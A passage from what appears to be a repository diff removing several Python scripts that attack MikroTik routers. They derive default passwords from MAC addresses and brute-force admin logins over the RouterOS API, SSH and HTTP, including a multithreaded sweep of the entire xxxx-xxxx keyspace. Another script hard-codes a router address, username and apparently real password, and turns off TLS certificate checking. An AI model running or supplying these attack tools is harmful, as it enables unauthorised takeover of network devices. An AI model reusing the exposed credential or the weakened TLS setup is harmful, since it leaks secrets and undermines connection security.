- Takes ~2-5 minutes instead of thousands of years!
Algorithm:
PWD[0] = MAC[0] XOR 0xD0
PWD[1] = MAC[1]
PWD[2] = NOT(MAC[2])
PWD[3] = 0xFF
USAGE: Only use on devices you own or have authorization to access.
"""
import sys
import time
import argparse
class MikroTikTargetedBruteForce:
"""Targeted brute force for MikroTik passwords."""
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
"""
Initialize the targeted brute force.
Args:
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
host (str): IP address of device
port (int): Port (22 for SSH, 80 for HTTP)
use_http (bool): Use HTTP instead of SSH
timeout (int): Connection timeout in seconds
"""
self.mac_address = mac_address.upper()
self.host = host
self.port = port
self.use_http = use_http
self.timeout = timeout
self.username = "admin"
self.attempts = 0
self.found_password = None
def parse_mac(self, mac_string):
"""Parse MAC address string into bytes."""
parts = mac_string.upper().split(":")
if len(parts) != 6:
raise ValueError(f"Invalid MAC address: {mac_string}")
try:
return [int(part, 16) for part in parts]
except ValueError:
raise ValueError(f"Invalid MAC address format: {mac_string}")
def generate_password_for_mac_byte_0(self, mac_byte_0):
"""
Generate password for a specific MAC[0] value.
Args:
mac_byte_0 (int): Value for MAC[0] (0-255)
Returns:
str: Password in format "xxxx-xxxx"
"""
# Use actual MAC bytes for 1-3
mac_bytes = self.parse_mac(self.mac_address)
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
# But vary b0 for brute forcing
pwd_byte_0 = mac_byte_0 ^ 0xD0
pwd_byte_1 = b1
pwd_byte_2 = (~b2) & 0xFF # NOT operation
pwd_byte_3 = 0xFF
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
return f"{hex_string[:4]}-{hex_string[4:]}"
def try_password_ssh(self, password):
"""Try connecting via SSH."""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""Try connecting via HTTP."""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self):
"""Run the targeted brute force (256 attempts)."""
print("MikroTik Targeted Password Brute Force")
print("=" * 50)
print()
print(f"MAC Address: {self.mac_address}")
print(f"Target: {self.host}:{self.port}")
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print()
print("Algorithm:")
print(" PWD[0] = MAC[0] XOR 0xD0")
print(" PWD[1] = MAC[1]")
print(" PWD[2] = NOT(MAC[2])")
print(" PWD[3] = 0xFF")
print()
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
print()
mac_bytes = self.parse_mac(self.mac_address)
start_time = time.time()
for mac_byte_0 in range(256):
password = self.generate_password_for_mac_byte_0(mac_byte_0)
self.attempts += 1
if self.attempts % 32 == 1 or self.attempts == 1:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
f"Trying: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print("=" * 50)
print(f"[+] SUCCESS! Password found!")
print(f"[+] Password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
print("=" * 50)
self.found_password = password
return password
elapsed = time.time() - start_time
print()
print("=" * 50)
print("[-] Brute force complete. Password not found.")
print(f"[-] This means:")
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
print(f" 2. The algorithm might be different")
print(f" 3. Or the device might have a different password algorithm")
print(f"[*] Total attempts: {self.attempts}/256")
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
print("=" * 50)
return None
def main():
"""Main entry point."""
parser = argparse.ArgumentParser(
description="MikroTik Targeted Password Brute Force (256 attempts)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python script.py 18:FD:74:F9:04:FC 192.168.88.1
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
""",
)
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
parser.add_argument(
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
)
parser.add_argument(
"--method",
choices=["ssh", "http"],
default="ssh",
help="Connection method (default: ssh)",
)
parser.add_argument(
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
)
args = parser.parse_args()
# Validate MAC address
try:
brute_forcer = MikroTikTargetedBruteForce(
args.mac,
args.host,
port=args.port,
use_http=(args.method == "http"),
timeout=args.timeout,
)
except ValueError as e:
print(f"Error: {e}")
sys.exit(1)
# Run brute force
password = brute_forcer.brute_force()
if password:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,329 +0,0 @@
#!/usr/bin/env python3
"""
Comprehensive MikroTik Password Attack
Uses reliable API authentication testing with multiple algorithm variations
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import itertools
import random
class MikroTikAPIAttack:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
def test_api_password(self, password, timeout=3):
"""Test password using MikroTik API - most reliable method"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response
response = read_sentence()
sock.close()
# Success if we get "!done" without error
return response and response[0] == "!done"
except Exception:
return False
def test_password(self, password):
"""Test a password and handle progress reporting"""
if self.stop_flag.is_set():
return False
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Progress reporting
if current_attempts % 50 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
if self.test_api_password(password):
print(f"\n*** PASSWORD FOUND! ***")
print(f"Host: {self.host}")
print(f"Username: {self.username}")
print(f"Password: {password}")
print(f"Total attempts: {current_attempts}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds")
self.found_password = password
self.stop_flag.set()
return True
return False
def generate_mac_algorithm_variations(mac_address):
"""Generate comprehensive MAC-based password variations"""
passwords = []
# Parse MAC
mac_clean = mac_address.upper().replace(':', '').replace('-', '')
if len(mac_clean) != 12:
return passwords
mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
# Test different XOR constants (not just 0xD0)
xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
# Test different final constants (not just 0xFF)
final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
# Algorithm variations
for xor_const in xor_constants:
for final_const in final_constants:
# Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
pwd_bytes = [
mac_bytes[0] ^ xor_const,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
final_const
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Variation: Different MAC byte positions
for i in range(6):
for j in range(6):
for k in range(6):
if i != j and j != k and i != k: # Different positions
pwd_bytes = [
mac_bytes[i] ^ xor_const,
mac_bytes[j],
(~mac_bytes[k]) & 0xFF,
final_const
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Direct MAC usage patterns
for combo in itertools.permutations(mac_bytes[:4]):
hex_str = ''.join(f'{b:02x}' for b in combo)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Last/First 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
return list(set(passwords)) # Remove duplicates
def generate_pattern_passwords():
"""Generate common password patterns"""
patterns = []
# Basic patterns
basic = [
"0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
"1234-5678", "8765-4321", "abcd-efab", "dead-beef",
"cafe-babe", "feed-face", "babe-face", "c0de-d00d",
]
patterns.extend(basic)
# Year-based (installation years)
for year in range(2010, 2025):
patterns.extend([
f"0000-{year:04x}",
f"{year:04x}-0000",
f"{year:04x}-{year:04x}",
f"1234-{year:04x}",
f"{year:04x}-1234",
])
# Sequential hex patterns
for i in range(0, 16):
hex_char = f"{i:x}"
patterns.extend([
f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
])
return patterns
def generate_incremental_around_base(base_password, range_size=2000):
"""Generate passwords around a base password"""
passwords = []
try:
# Convert base password to integer
hex_str = base_password.replace('-', '')
base_int = int(hex_str, 16)
# Generate passwords around this value
for offset in range(-range_size//2, range_size//2 + 1):
new_val = base_int + offset
if 0 <= new_val <= 0xFFFFFFFF:
hex_str = f"{new_val:08x}"
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
except:
pass
return passwords
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
sys.exit(1)
host = sys.argv[1]
mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
print(f"Comprehensive MikroTik Password Attack")
print(f"Host: {host}")
print(f"MAC: {mac_address}")
print(f"Threads: {threads}")
print("=" * 60)
# Generate password candidates
print("Generating password candidates...")
mac_passwords = generate_mac_algorithm_variations(mac_address)
print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
pattern_passwords = generate_pattern_passwords()
print(f"Common patterns: {len(pattern_passwords)} passwords")
# Generate incremental around the standard algorithm result
base_mac_clean = mac_address.upper().replace(':', '')
base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
# Combine all passwords and remove duplicates
all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
print(f"Total unique passwords: {len(all_passwords)}")
# Prioritize: MAC algorithms first, then patterns, then incremental
prioritized = mac_passwords + pattern_passwords + incremental_passwords
# Remove duplicates while preserving order
seen = set()
final_passwords = []
for pwd in prioritized:
if pwd not in seen:
seen.add(pwd)
final_passwords.append(pwd)
print(f"Testing {len(final_passwords)} passwords in priority order...")
print()
# Run attack
attacker = MikroTikAPIAttack(host)
attacker.start_time = time.time()
# Use ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_password = {
executor.submit(attacker.test_password, pwd): pwd
for pwd in final_passwords
}
for future in as_completed(future_to_password):
if attacker.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_password:
f.cancel()
break
try:
result = future.result()
if result:
print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
sys.exit(0)
except Exception as e:
password = future_to_password[future]
print(f"Error testing {password}: {e}")
if not attacker.found_password:
elapsed = time.time() - attacker.start_time
print(f"\nAttack completed without success.")
print(f"Total attempts: {attacker.attempts}")
print(f"Time taken: {elapsed:.2f} seconds")
print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
print("\nPassword not found in tested algorithms.")
print("Consider:")
print("1. Device may use different algorithm")
print("2. Custom password may be set")
print("3. Hardware reset if device is accessible")
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,252 +0,0 @@
#!/usr/bin/env python3
import ssl
import socket
import hashlib
import binascii
import sys
import json
class MikrotikAPI:
def __init__(self, host, username, password, port=8729):
self.host = host
self.port = port
self.username = username
self.password = password
self.sock = None
self.ssl_sock = None
def connect(self):
"""Establish SSL connection to MikroTik router"""
try:
# Create socket and SSL context
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# Allow older SSL/TLS versions for compatibility
context.set_ciphers('DEFAULT:@SECLEVEL=0')
# Connect to router
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(30) # 30 second timeout
self.sock.connect((self.host, self.port))
self.ssl_sock = context.wrap_socket(self.sock)
print(f"Connected to {self.host}:{self.port}")
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.ssl_sock:
self.ssl_sock.close()
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.ssl_sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.ssl_sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.ssl_sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.ssl_sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.ssl_sock.send(self.encode_length(len(word_bytes)))
self.ssl_sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def login(self):
"""Login to the router using plain password method"""
# Send login command
self.write_sentence(["/login", f"=name={self.username}", f"=password={self.password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
print("Login successful")
return True
else:
print(f"Login failed: {response}")
return False
def command(self, cmd, params=None):
"""Execute a command on the router"""
if params is None:
params = []
# Send command
sentence = [cmd] + params
self.write_sentence(sentence)
# Read response
results = []
while True:
sentence = self.read_sentence()
if not sentence:
break
if sentence[0] == "!done":
break
elif sentence[0] == "!re":
# Parse response data
result = {}
for item in sentence[1:]:
if item.startswith("="):
parts = item[1:].split("=", 1)
if len(parts) == 2:
result[parts[0]] = parts[1]
else:
result[parts[0]] = ""
results.append(result)
elif sentence[0] == "!trap":
print(f"Error: {sentence}")
break
return results
def main():
# Router connection details
host = "10.254.254.101"
username = "grahamro"
password = "cFKhz8q5gPLoucMbcT1Iy58r3IXgc3"
# Create API instance
api = MikrotikAPI(host, username, password)
try:
# Connect and login
if not api.connect():
return
if not api.login():
return
print("\nRetrieving IP addresses and subnets...")
# Get all IP addresses
addresses = api.command("/ip/address/print")
print("\n=== IP Addresses and Subnets ===")
for addr in addresses:
interface = addr.get('interface', 'unknown')
address = addr.get('address', 'unknown')
network = addr.get('network', '')
actual_interface = addr.get('actual-interface', interface)
disabled = addr.get('disabled', 'false')
dynamic = addr.get('dynamic', 'false')
comment = addr.get('comment', '')
status = []
if disabled == 'true':
status.append('disabled')
if dynamic == 'true':
status.append('dynamic')
status_str = f" ({', '.join(status)})" if status else ""
comment_str = f" - {comment}" if comment else ""
print(f"\nInterface: {interface} ({actual_interface}){status_str}")
print(f" Address: {address}")
print(f" Network: {network}{comment_str}")
# Get routing table for additional subnet information
print("\n\n=== Routing Table ===")
routes = api.command("/ip/route/print")
# Filter and display relevant routes
for route in routes:
dst = route.get('dst-address', '')
gateway = route.get('gateway', '')
distance = route.get('distance', '')
scope = route.get('scope', '')
active = route.get('active', 'false')
dynamic = route.get('dynamic', 'false')
comment = route.get('comment', '')
# Skip default routes for clarity
if dst == '0.0.0.0/0':
continue
status = []
if active != 'true':
status.append('inactive')
if dynamic == 'true':
status.append('dynamic')
status_str = f" ({', '.join(status)})" if status else ""
comment_str = f" - {comment}" if comment else ""
print(f"\nDestination: {dst}{status_str}")
print(f" Gateway: {gateway}")
if distance:
print(f" Distance: {distance}")
if scope and scope != '30':
print(f" Scope: {scope}")
if comment:
print(f" Comment: {comment}")
finally:
api.disconnect()
print("\nDisconnected from router")
if __name__ == "__main__":
main()

View file

@ -1,227 +0,0 @@
#!/usr/bin/env python3
"""
Ultra-Fast MikroTik Brute Force Attack
Optimized for maximum speed with minimal overhead
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
import sys
import signal
import queue
class FastMikroTikBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.host_bytes = socket.inet_aton(host)
def fast_api_test(self, password):
"""Ultra-fast API test with minimal overhead"""
if self.stop_flag.is_set():
return False
try:
# Create socket with optimizations
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(1) # Very short timeout
# Connect
sock.connect((self.host, self.port))
# Pre-build login message for speed
login_cmd = "/login"
name_param = f"=name={self.username}"
pass_param = f"=password={password}"
# Send each word with length prefix (simplified encoding)
def send_word(word):
word_bytes = word.encode('utf-8')
length = len(word_bytes)
if length <= 127:
sock.send(bytes([length]) + word_bytes)
else:
# Skip overly long words for speed
return False
return True
# Send login command
send_word(login_cmd)
send_word(name_param)
send_word(pass_param)
send_word("") # End sentence
# Quick response check - just look for first byte
try:
response = sock.recv(1)
if response:
# Read a bit more to check for success
more_data = sock.recv(10)
sock.close()
# Very basic success detection
# "!done" starts with 0x05 (length) + 0x21 ("!")
if len(response) > 0 and response[0] == 5:
second_response = sock.recv(1)
if len(second_response) > 0 and second_response[0] == 0x21: # "!"
return True
else:
sock.close()
return False
except:
sock.close()
return False
except Exception:
return False
return False
def worker_thread(self, work_queue, result_queue):
"""Worker thread that processes password ranges"""
while not self.stop_flag.is_set():
try:
# Get work chunk
start_val, end_val = work_queue.get(timeout=1)
except queue.Empty:
continue
for value in range(start_val, end_val):
if self.stop_flag.is_set():
break
# Convert to password format quickly
hex_str = f"{value:08x}"
password = f"{hex_str[:4]}-{hex_str[4:]}"
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Less frequent progress reporting for speed
if current_attempts % 500 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec) - Testing: {password}")
if self.fast_api_test(password):
result_queue.put(password)
self.stop_flag.set()
return
work_queue.task_done()
def run_optimized_brute_force(self, max_workers=16, chunk_size=500, start_from=0):
"""Run optimized brute force with work queue"""
print(f"Ultra-Fast MikroTik Brute Force")
print(f"Host: {self.host}")
print(f"Workers: {max_workers}")
print(f"Chunk size: {chunk_size}")
print(f"Starting from: 0x{start_from:08x}")
print("=" * 60)
self.start_time = time.time()
# Create work and result queues
work_queue = queue.Queue(maxsize=max_workers * 4)
result_queue = queue.Queue()
# Start worker threads
workers = []
for i in range(max_workers):
worker = threading.Thread(
target=self.worker_thread,
args=(work_queue, result_queue),
daemon=True
)
worker.start()
workers.append(worker)
# Producer thread to feed work
def producer():
current = start_from
while current < 0xFFFFFFFF and not self.stop_flag.is_set():
end = min(current + chunk_size, 0xFFFFFFFF + 1)
try:
work_queue.put((current, end), timeout=1)
current = end
except queue.Full:
time.sleep(0.01) # Brief pause if queue full
producer_thread = threading.Thread(target=producer, daemon=True)
producer_thread.start()
# Monitor for results
try:
while not self.stop_flag.is_set():
try:
password = result_queue.get(timeout=1)
print(f"\n*** PASSWORD FOUND! ***")
print(f"Password: {password}")
elapsed = time.time() - self.start_time
print(f"Attempts: {self.attempts:,}")
print(f"Time: {elapsed:.2f} seconds")
print(f"Rate: {self.attempts/elapsed:.0f} passwords/second")
return password
except queue.Empty:
continue
except KeyboardInterrupt:
print(f"\nStopping...")
self.stop_flag.set()
# Wait for workers to finish
for worker in workers:
worker.join(timeout=1)
return None
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_fast_brute_force.py <HOST> [workers] [start_hex]")
print("Examples:")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32 0x00010000")
sys.exit(1)
host = sys.argv[1]
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 16
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
# Optimize workers based on CPU cores but don't go crazy
import os
cpu_count = os.cpu_count() or 4
if workers > cpu_count * 4:
print(f"Warning: {workers} workers might be too many for {cpu_count} CPU cores")
print(f"Consider using {cpu_count * 2} workers instead")
attacker = FastMikroTikBruteForce(host)
print(f"Starting optimized attack with {workers} workers...")
password = attacker.run_optimized_brute_force(
max_workers=workers,
chunk_size=500,
start_from=start_from
)
if password:
print(f"\n✓ SUCCESS! Password: {password}")
else:
print(f"\n✗ Attack stopped without finding password")
if __name__ == "__main__":
main()

View file

@ -1,292 +0,0 @@
#!/usr/bin/env python3
"""
MikroTik Full Brute Force Attack
Systematically tests ALL possible xxxx-xxxx password combinations
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import signal
class MikroTikFullBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.start_value = 0
self.current_value = 0
def test_api_password(self, password, timeout=2):
"""Test password using MikroTik API"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500:
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response
response = read_sentence()
sock.close()
return response and response[0] == "!done"
except Exception:
return False
def int_to_password(self, value):
"""Convert integer to xxxx-xxxx password format"""
hex_str = f"{value:08x}"
return f"{hex_str[:4]}-{hex_str[4:]}"
def test_password_range(self, start_val, end_val):
"""Test a range of password values"""
for value in range(start_val, end_val):
if self.stop_flag.is_set():
return None
password = self.int_to_password(value)
with self.lock:
self.attempts += 1
self.current_value = value
current_attempts = self.attempts
# Progress reporting every 100 attempts
if current_attempts % 100 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
percent = (value / 0xFFFFFFFF) * 100
# Estimate time remaining
if rate > 0:
remaining_passwords = 0xFFFFFFFF - current_attempts
eta_seconds = remaining_passwords / rate
eta_hours = eta_seconds / 3600
eta_days = eta_hours / 24
if eta_days > 1:
eta_str = f"{eta_days:.1f} days"
elif eta_hours > 1:
eta_str = f"{eta_hours:.1f} hours"
else:
eta_str = f"{eta_seconds/60:.1f} minutes"
else:
eta_str = "unknown"
print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
if self.test_api_password(password):
print(f"\n*** PASSWORD FOUND! ***")
print(f"Password: {password}")
print(f"Value: 0x{value:08x} ({value:,})")
print(f"Total attempts: {current_attempts:,}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
self.found_password = password
self.stop_flag.set()
return password
return None
def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
"""Run full brute force attack"""
print(f"MikroTik Full Brute Force Attack")
print(f"Host: {self.host}")
print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
print(f"Threads: {max_workers}")
print(f"Chunk size: {chunk_size:,}")
print("=" * 80)
if start_from > 0:
print(f"WARNING: Resuming from 0x{start_from:08x}")
print(f"Skipping {start_from:,} passwords")
print()
# Estimate time at different rates
total_passwords = 0xFFFFFFFF - start_from
print("Time estimates at different speeds:")
for rate in [50, 100, 200, 500]:
seconds = total_passwords / rate
days = seconds / (24 * 3600)
print(f" {rate:3d} pwd/sec: {days:.1f} days")
print()
self.start_time = time.time()
self.current_value = start_from
# Create work chunks
chunks = []
current = start_from
while current < 0xFFFFFFFF:
end = min(current + chunk_size, 0xFFFFFFFF + 1)
chunks.append((current, end))
current = end
print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
print(f"Starting brute force attack...")
print()
# Use ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=max_workers) as executor:
future_to_chunk = {
executor.submit(self.test_password_range, start, end): (start, end)
for start, end in chunks[:max_workers * 10] # Submit first batch
}
chunk_index = max_workers * 10
for future in as_completed(future_to_chunk):
if self.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_chunk:
f.cancel()
break
chunk_range = future_to_chunk[future]
try:
result = future.result()
if result:
return result
except Exception as e:
print(f"Error in chunk {chunk_range}: {e}")
# Submit next chunk if available
if chunk_index < len(chunks) and not self.stop_flag.is_set():
start, end = chunks[chunk_index]
new_future = executor.submit(self.test_password_range, start, end)
future_to_chunk[new_future] = (start, end)
chunk_index += 1
if not self.found_password:
elapsed = time.time() - self.start_time
print(f"\nBrute force completed without finding password.")
print(f"Total attempts: {self.attempts:,}")
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
if self.attempts > 0:
print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
return self.found_password
def signal_handler(signum, frame):
"""Handle Ctrl+C gracefully"""
print(f"\n\nReceived signal {signum}")
print("Stopping attack gracefully...")
sys.exit(0)
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
print("Examples:")
print(" python3 mikrotik_full_brute_force.py 10.250.2.2")
